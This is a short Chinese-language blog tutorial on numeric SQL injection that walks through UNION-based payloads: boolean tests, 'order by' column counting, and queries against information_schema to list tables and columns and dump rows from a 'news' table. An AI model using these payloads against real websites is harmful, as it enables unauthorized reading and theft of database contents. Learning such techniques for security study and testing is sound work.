sql注入(一)-----数字型

一、sql注入漏洞

  是当我们的Web app在向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么恶意访问者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。

二、如何进行sql注入?

  1、判断是否存在sql注入

    and 1=1 返回正确

    and 1=2 返回错误

  2、猜出字段数

    order by  x(数字)

    

  3、猜出字段位(必须与内部字段数一致)

    and 1=2 

    union selct 1,2,3

    

  4、猜数据库名

    union select 1,database(),3

    

  5、联合查询(group_concat())   点代表下一级

  猜出当前数据库pentest中所有的表名。

    union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pentest'   或

    union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

  

  6、猜列名

    union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'

    

   7、猜数据

    union select 1,group_concat(id,title,content),3 from news 

    

在任何时候去学习都不晚,永远不要放弃自己!人生就是一个不断去学习的过程,任何时候,只要你想学,Come on !
原文地址:https://www.cnblogs.com/startingpoint-fly/p/11121803.html